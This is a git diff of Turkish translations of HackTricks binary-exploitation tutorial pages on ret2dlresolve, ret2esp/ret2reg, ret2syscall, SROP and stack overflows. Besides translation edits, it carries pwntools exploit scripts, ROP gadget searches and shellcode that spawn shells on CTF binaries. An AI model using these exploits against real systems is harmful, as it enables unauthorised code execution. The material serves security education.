saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır. > [!TIP] -> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın bir yolu yoksa faydalıdır. +> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/index.html) veya [SROP](srop-sigreturn-oriented-programming/index.html) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır. Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın: @@ -30,7 +30,7 @@ Ya da adım adım açıklama için bu sayfalara göz atın: 1. Bazı yerlerde sahte yapılar yazın 2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`) -3. **`_dl_runtime_resolve`** çağrısı için yapılarının adreslerini yığında ayarlayın +3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın 4. **Çağırın** `_dl_runtime_resolve` 5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır @@ -188,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, relro yok, canary yok, nx, pie yok, temel küçük tampon taşması ve dönüş. Bunu istismar etmek için, bof tekrar `read` çağrısı yapmak için kullanılır, `.bss` bölümünde ve daha büyük bir boyutta, `system` yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. +- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve return. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak üzere, main'e geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 1ef975c68..cdc6c4222 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,15 +4,15 @@ ## **Ret2esp** -**ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret ettiği için**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. +**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. -Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir). +Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) ile başa çıkmanız gerekebilir). -Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın ortasında değil, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir. +Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın içinde ortada değil, yığının en üstünde yer almasını sağlamak, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını garanti eder. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir. ### Alan eksikliği -Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikliği yaşıyorsanız (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın: +Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikse (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın: ```armasm sub rsp, 0x30 jmp rsp @@ -21,7 +21,7 @@ Ve shellcode'u yığın içinde erken yazın. ### Örnek -Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde, son bir istismar ile bulabilirsiniz: +Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulabilirsiniz ve son exploit şöyle: ```python from pwn import * @@ -41,7 +41,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -Bu tekniğin bir başka örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için** bir gadget kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor: +Bu tekniğin başka bir örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için bir gadget** kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -78,7 +78,7 @@ target.interactive() ``` ## Ret2reg -Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**). +Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndürdüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**). ### Örnek @@ -86,7 +86,7 @@ Burada bazı örnekler bulabilirsiniz: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) -- **`strcpy`** shellcode'un saklandığı buffer'ın adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün. +- **`strcpy`** shellcode'un saklandığı tamponun adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün. ## ARM64 @@ -98,13 +98,13 @@ for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` -Keşfettiğim tek şey, sp'nin atlamadan önce kopyalandığı kayıt değerini değiştirecek olanlardı (bu yüzden işe yaramaz hale gelecekti): +Keşfettiğim tek yöntem, sp'nin kopyalandığı kayıt defterinin değerini değiştirmekti (bu yüzden işe yaramaz hale gelecekti):
### Ret2reg -Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz: +Eğer bir kayıt defteri ilginç bir adrese sahipse, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` @@ -135,7 +135,7 @@ do_stuff(2) return 0; } ``` -Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, tampon taşmasından dönerken: +Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, bu da tampon taşmasından dönerken gerçekleşir:
@@ -162,12 +162,12 @@ p.interactive() > Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, **sadece dönüş adresinin son 2 baytını** değiştirerek `br x0;` talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.\ > `fgets` ile bu işe yaramaz çünkü **sonuna bir null (0x00) baytı ekler**. -## Koruma Önlemleri +## Protections -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu işe yaramaz çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, shellcode'u yığında yerleştirip çalıştırmak için atlama yapmamız gerektiğinden bu yardımcı olmaz. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir. -## Referanslar +## References - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index bc4d7fff1..848a3d05d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -13,10 +13,10 @@ Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağır - `rsi: 0 argüman geçmediğini belirt` - `rdx: 0 ortam değişkeni geçmediğini belirt` -Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i dikkate alarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var. +Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i göz önünde bulundurarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var. > [!TIP] -> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/) ile birleştirilebilir. +> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) ile birleştirilebilir. ## Kayıt gadget'ları @@ -28,13 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` -Bu adreslerle **yığın içeriğini yazmak ve kayıtlarına yüklemek** mümkündür. +Bu adreslerle **stack'teki içeriği yazmak ve register'lara yüklemek** mümkündür. ## Dize yaz ### Yazılabilir bellek -Öncelikle bellek içinde yazılabilir bir yer bulmanız gerekiyor. +Öncelikle bellekte yazılabilir bir yer bulmanız gerekiyor. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -45,7 +45,7 @@ Start End Offset Perm Path ``` ### Belleğe Dize Yaz -Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor. +Sonra, bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx @@ -174,7 +174,7 @@ target.interactive() - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - 64 bit, PIE yok, nx, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde yazmak için matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir. +- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bit, PIE yok, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 9c49d2bd6..db72ea99c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -11,7 +11,7 @@ Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna devam etme İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir. > [!CAUTION] -> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** sağlar. +> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** mümkün kılar. Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir **Ret2syscall türü** olduğunu unutmayın: @@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## Örnek -[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri yerleştirilerek) gösterilmektedir, ancak buradan itibaren son istismar budur: +[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya `0xf` değeri koyarak) gösterilmektedir, ancak buradan itibaren son istismar budur: ```python from pwn import * @@ -90,7 +90,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle bunu bir **ROP** ile inşa etmek gerekmez: +Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle **ROP** ile bunu inşa etmek gerekmez: ```python from pwn import * @@ -128,14 +128,14 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür. +- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/index.html) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir). +- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/index.html) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği. ROP zinciri, `gets`'i tekrar çağırarak `/bin/sh`'yi `.bss`'ye yazar, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır. +- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/index.html) gerçekleştiren gadget eksikliği. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir, ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. +- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı sağlar ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program tekrar ESP'ye okuma çağıracak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır. +- SROP, bir shellcode'un yerleştirildiği yere (memprotect) yürütme ayrıcalıkları vermek için kullanılır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 11454637e..4dfb5371f 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Stack Overflow Nedir +## What is a Stack Overflow Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. -Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**. +Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**. -Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalamasından** kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur. +Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır. -Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir. +Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan miktardan büyükse, savunmasız bir şekilde kullanılabilir. Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: ```c @@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer); Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir. -Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin** tam olarak bir kez **bitişik bir alt dizi olarak göründüğü** **döngüsel bir dizidir.** +Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.** Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Yığın Taşmalarını Sömürme -Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilen **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\ -Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**. +Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\ +Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilecektir**. -Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında). +Ancak, diğer senaryolarda sadece yığın içindeki bazı değişkenlerin değerlerini **üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında). ### Ret2win -Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: +Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: {{#ref}} ret2win/ @@ -89,7 +89,7 @@ Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de o ## Koruma Türleri -Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: +Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index d45c554b3..88c486f6e 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,11 +4,11 @@ ## Temel Bilgiler 